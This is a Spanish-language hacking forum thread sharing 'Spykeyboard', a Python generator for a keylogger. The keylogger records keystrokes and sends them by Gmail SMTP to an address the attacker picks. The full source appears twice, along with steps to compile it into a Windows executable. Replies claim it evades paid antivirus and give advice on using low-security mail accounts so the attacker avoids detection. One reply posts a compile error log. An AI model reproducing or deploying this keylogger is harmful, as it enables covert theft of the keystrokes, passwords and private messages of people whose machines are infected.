Spykeyboard – Keylogger que envia los datos a tu Gmail

Iniciado por ANTRAX, Septiembre 20, 2018, 11:48:29 AM

Tema anterior - Siguiente tema

0 Miembros y 2 Visitantes están viendo este tema.


Este es un script el cual nos permite generar un keylogger indetectable el cual nos envía las teclas capturadas a nuestro correo de gmail. Una vez generamos nuestro keylogger en nuestra kali linux tendriamos que pasar el archivo .py a una maquina windows para convertirlo en un .exe. La herramienta un esta en desarrollo.

instala el modulo en windows o linux:

Código: bash
user@computer:$ pip install keyboard


Para convertir a exe, pueden usar Pyinstaller


Código Fuente:

Código: python
#!/bin/usr/python
# -*- coding: utf-8 -*-
import io
import os
def generate(usuario,password,email1):
with io.FileIO("keylogger.py", "w") as file:
file.write('''
#!/bin/usr/python
# -*- coding: utf-8 -*-
import threading
import os
import keyboard
import smtplib
from time import sleep

def keylogger():
    FILE_NAME = "keys.txt"
    CLEAR_ON_STARTUP = False
    TERMINATE_KEY = "enter"
    if CLEAR_ON_STARTUP:
        os.remove(FILE_NAME)
   
    output = open(FILE_NAME, "a")
   
    for string in keyboard.get_typed_strings(keyboard.record(TERMINATE_KEY)):
        output.write(string)
   
    output.close()
def sendmail():
     
   
    gmail_user = "'''+usuario+'''"
    gmail_password = "'''+password+'''"
    FROM =gmail_user
    TO = "'''+email1+'''"
    SUBJECT= "key"
       
    sleep(7.0)
    try:
        F = open("keys.txt","r")
        TEXT= F.read()
        message = """\From: %s\nTo: %s\nSubject: %s\n\n%s
        """ % (FROM, ", ".join(TO), SUBJECT, TEXT)
    except:
        print "error"
    try:
        server =smtplib.SMTP("smtp.gmail.com", 587)
        server.ehlo()
        server.starttls()
        server.login(gmail_user,gmail_password)
        server.sendmail(FROM, TO, message)
        server.close()
        print "eviado"
    except:
        print "error"
os.system("nano keys.txt")
while True:

    if __name__ == "__main__":
       
        key = threading.Thread(target=keylogger)
        mail = threading.Thread(target=sendmail)

        key.start()
        mail.start()

        key.join()
        mail.join()

''')

def info():

print bcolors.BOLD+bcolors.RED+"\nThanks for trying my tool, do not forget to search me on my social networks"+bcolors.ENDC+bcolors.ENDC
print "\033[1;36m● Twitter: @Sh4Rk_0\033[1;m"
print bcolors.BLUE+"● Facebook: Hacking Pills"+bcolors.ENDC
print bcolors.GREEN+"● Blog: hackingpills.blogspot.com"+bcolors.ENDC
print bcolors.BOLD+bcolors.RED+"● YouTube: HackingPills\n"+bcolors.ENDC+bcolors.ENDC



class bcolors:
    BLUE = '\033[94m'
    GREEN = '\033[92m'
    RED = '\033[31m'
    YELLOW = '\033[93m'
    ENDC = '\033[0m'
    BOLD = '\033[1m'
    BGRED = '\033[41m'


print '''
\033[1;91m
┌═════════════════════════════════════════════════════════════════════════════┐
█               Author: @Sh4Rk_0                                              █
█                                                                             █
█                       Site: https://hackingpills.blogspot.com               █
█                                                                             █
█                             Copyright (C) 2018 Spykeyboard @Sh4rk_0         █
└═════════════════════════════════════════════════════════════════════════════┘     \n \033[1;m     
'''

print bcolors.BOLD+bcolors.RED+"\n●This tool was created for ethical reasons, I am not responsible for misuse.●"+bcolors.ENDC+bcolors.ENDC


usuario = raw_input(bcolors.GREEN+"Enter your email: "+bcolors.ENDC)

password = raw_input(bcolors.GREEN+"Enter your password: "+bcolors.ENDC)

email1 = raw_input(bcolors.GREEN+"Enter your email receive: "+bcolors.ENDC)

print bcolors.YELLOW+"\nYour keylogger is ready, compile it to .exe in a Windows machine."+bcolors.ENDC

generate(usuario,password,email1)
info()


Repositorio: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


 keylogger indetectable  lo aseguro , lo e probado con mi maquina con el antivirus actualizado y de paga ! Genial.

Gracias, Antrax, lo probraré pronto y te informo sobre cómo me ha ido.
¿Ves?

Hola Antrax ! Muy buen trabajo, pero te dejo un dato que me dio terribles dolores de cabeza hace un tiempo, con rat que había hecho que hacia algo parecido al tuyo, me enviaba archivos específicos adjuntados por mail, utilizando obviamente gmail... las contras son...

-Google sabe quien sos, de donde te logeaste, como te llamas, tu ip, tu pc, tus redes sociales, en fin que conocen mejor que vos, para una cuestion educativa es valido, pero no para un fin practico.
-Google cuida tu cuenta... por lo que cuando te logees desde varios PC de distintas zonas o incluso paices, google te va a bloquear la cuenta... y vas a tener que configurar el 2FA... por lo que lo mejor es utilizar algún correo "particular" de algún hosting con poca o nada de seguridad para garantizar que puedas logearte de cualquier lado...

espero que sirva el dato...

Pero este keylogger es principalmente para Linux, no?

Ojo el script guarda la contraseña del gmail usado hardcodeado en texto plano.
Si lo usan al menos que sea una cuenta de gmail solo usada para enviar mails no para recibir ni almacenar nada.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Pero este keylogger es principalmente para Linux, no?

python también puede ser ejecutado en sistemas windows
Mi blog: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Si necesitas ayuda, no dudes en mandar MP


tecleo desde el terminal de kali PIP INSTALL KEYBOARD  y me da error command error disculpen mi ignorancia si pueden ayudarme

Abril 10, 2020, 11:47:56 PM #9 Ultima modificación: Abril 10, 2020, 11:51:56 PM por DtxdF
Buenas noches tengo este error ya voy 2 horas y nada me da un error en el codigo cada vez que lo convierto en .exe

Código: dos
C:\Python27\Scripts>pyinstaller --windowed --onefile keylogger.py
106 INFO: PyInstaller: 3.6
107 INFO: Python: 2.7.14
108 INFO: Platform: Windows-10-10.0.15063
108 INFO: wrote C:\Python27\Scripts\keylogger.spec
111 INFO: UPX is not available.
113 INFO: Extending PYTHONPATH with paths
['C:\\Python27\\Scripts', 'C:\\Python27\\Scripts']
113 INFO: checking Analysis
114 INFO: Building Analysis because Analysis-00.toc is non existent
114 INFO: Initializing module dependency graph...
121 INFO: Caching module graph hooks...
141 INFO: Caching module dependency graph...
164 INFO: running Analysis Analysis-00.toc
169 INFO: Adding Microsoft.VC90.CRT to dependent assemblies of final executable
  required by c:\python27\python.exe
258 INFO: Found C:\Windows\WinSxS\Manifests\x86_policy.9.0.microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.1_none_8550c6b5d18a9128.manifest
259 INFO: Found C:\Windows\WinSxS\Manifests\x86_policy.9.0.microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_f480bfaef65491a5.manifest
261 INFO: Found C:\Windows\WinSxS\Manifests\x86_policy.9.0.microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.9279_none_f4810f46f6546fca.manifest
348 INFO: Searching for assembly x86_Microsoft.VC90.CRT_1fc8b3b9a1e18e3b_9.0.30729.9279_none ...
348 INFO: Found manifest C:\Windows\WinSxS\Manifests\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.9279_none_50939ec6bcb7c97c.manifest
351 INFO: Searching for file msvcr90.dll
353 INFO: Found file C:\Windows\WinSxS\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.9279_none_50939ec6bcb7c97c\msvcr90.dll
353 INFO: Searching for file msvcp90.dll
354 INFO: Found file C:\Windows\WinSxS\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.9279_none_50939ec6bcb7c97c\msvcp90.dll
355 INFO: Searching for file msvcm90.dll
356 INFO: Found file C:\Windows\WinSxS\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.9279_none_50939ec6bcb7c97c\msvcm90.dll
440 INFO: Found C:\Windows\WinSxS\Manifests\x86_policy.9.0.microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.1_none_8550c6b5d18a9128.manifest
442 INFO: Found C:\Windows\WinSxS\Manifests\x86_policy.9.0.microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_f480bfaef65491a5.manifest
444 INFO: Found C:\Windows\WinSxS\Manifests\x86_policy.9.0.microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.9279_none_f4810f46f6546fca.manifest
445 INFO: Adding redirect Microsoft.VC90.CRT version (9, 0, 21022, 8) -> (9, 0, 30729, 9279)
518 INFO: Analyzing C:\Python27\Scripts\keylogger.py

Syntax error in C:\Python27\Scripts\keylogger.py
    co = compile(co_ast, pathname, 'exec', 0, True)
   File "C:\Python27\Scripts\keylogger.py", line 53
     """ % (FROM, ", ".join(TO), SUBJECT, TEXT)
SyntaxError: default 'except:' must be last


C:\Python27\Scripts>

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Este es un script el cual nos permite generar un keylogger indetectable el cual nos envía las teclas capturadas a nuestro correo de gmail. Una vez generamos nuestro keylogger en nuestra kali linux tendriamos que pasar el archivo .py a una maquina windows para convertirlo en un .exe. La herramienta un esta en desarrollo.

instala el modulo en windows o linux:

Código: bash
user@computer:$ pip install keyboard


Para convertir a exe, pueden usar Pyinstaller


Código Fuente:

Código: python
#!/bin/usr/python
# -*- coding: utf-8 -*-
import io
import os
def generate(usuario,password,email1):
with io.FileIO("keylogger.py", "w") as file:
file.write('''
#!/bin/usr/python
# -*- coding: utf-8 -*-
import threading
import os
import keyboard
import smtplib
from time import sleep

def keylogger():
    FILE_NAME = "keys.txt"
    CLEAR_ON_STARTUP = False
    TERMINATE_KEY = "enter"
    if CLEAR_ON_STARTUP:
        os.remove(FILE_NAME)
   
    output = open(FILE_NAME, "a")
   
    for string in keyboard.get_typed_strings(keyboard.record(TERMINATE_KEY)):
        output.write(string)
   
    output.close()
def sendmail():
     
   
    gmail_user = "'''+usuario+'''"
    gmail_password = "'''+password+'''"
    FROM =gmail_user
    TO = "'''+email1+'''"
    SUBJECT= "key"
       
    sleep(7.0)
    try:
        F = open("keys.txt","r")
        TEXT= F.read()
        message = """\From: %s\nTo: %s\nSubject: %s\n\n%s
        """ % (FROM, ", ".join(TO), SUBJECT, TEXT)
    except:
        print "error"
    try:
        server =smtplib.SMTP("smtp.gmail.com", 587)
        server.ehlo()
        server.starttls()
        server.login(gmail_user,gmail_password)
        server.sendmail(FROM, TO, message)
        server.close()
        print "eviado"
    except:
        print "error"
os.system("nano keys.txt")
while True:

    if __name__ == "__main__":
       
        key = threading.Thread(target=keylogger)
        mail = threading.Thread(target=sendmail)

        key.start()
        mail.start()

        key.join()
        mail.join()

''')

def info():

print bcolors.BOLD+bcolors.RED+"\nThanks for trying my tool, do not forget to search me on my social networks"+bcolors.ENDC+bcolors.ENDC
print "\033[1;36m● Twitter: @Sh4Rk_0\033[1;m"
print bcolors.BLUE+"● Facebook: Hacking Pills"+bcolors.ENDC
print bcolors.GREEN+"● Blog: hackingpills.blogspot.com"+bcolors.ENDC
print bcolors.BOLD+bcolors.RED+"● YouTube: HackingPills\n"+bcolors.ENDC+bcolors.ENDC



class bcolors:
    BLUE = '\033[94m'
    GREEN = '\033[92m'
    RED = '\033[31m'
    YELLOW = '\033[93m'
    ENDC = '\033[0m'
    BOLD = '\033[1m'
    BGRED = '\033[41m'


print '''
\033[1;91m
┌═════════════════════════════════════════════════════════════════════════════┐
█               Author: @Sh4Rk_0                                              █
█                                                                             █
█                       Site: https://hackingpills.blogspot.com               █
█                                                                             █
█                             Copyright (C) 2018 Spykeyboard @Sh4rk_0         █
└═════════════════════════════════════════════════════════════════════════════┘     \n \033[1;m     
'''

print bcolors.BOLD+bcolors.RED+"\n●This tool was created for ethical reasons, I am not responsible for misuse.●"+bcolors.ENDC+bcolors.ENDC


usuario = raw_input(bcolors.GREEN+"Enter your email: "+bcolors.ENDC)

password = raw_input(bcolors.GREEN+"Enter your password: "+bcolors.ENDC)

email1 = raw_input(bcolors.GREEN+"Enter your email receive: "+bcolors.ENDC)

print bcolors.YELLOW+"\nYour keylogger is ready, compile it to .exe in a Windows machine."+bcolors.ENDC

generate(usuario,password,email1)
info()


Repositorio: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Seguira funcionando? Como gmail saco la opcion de recibir correos de "apps menos seguras"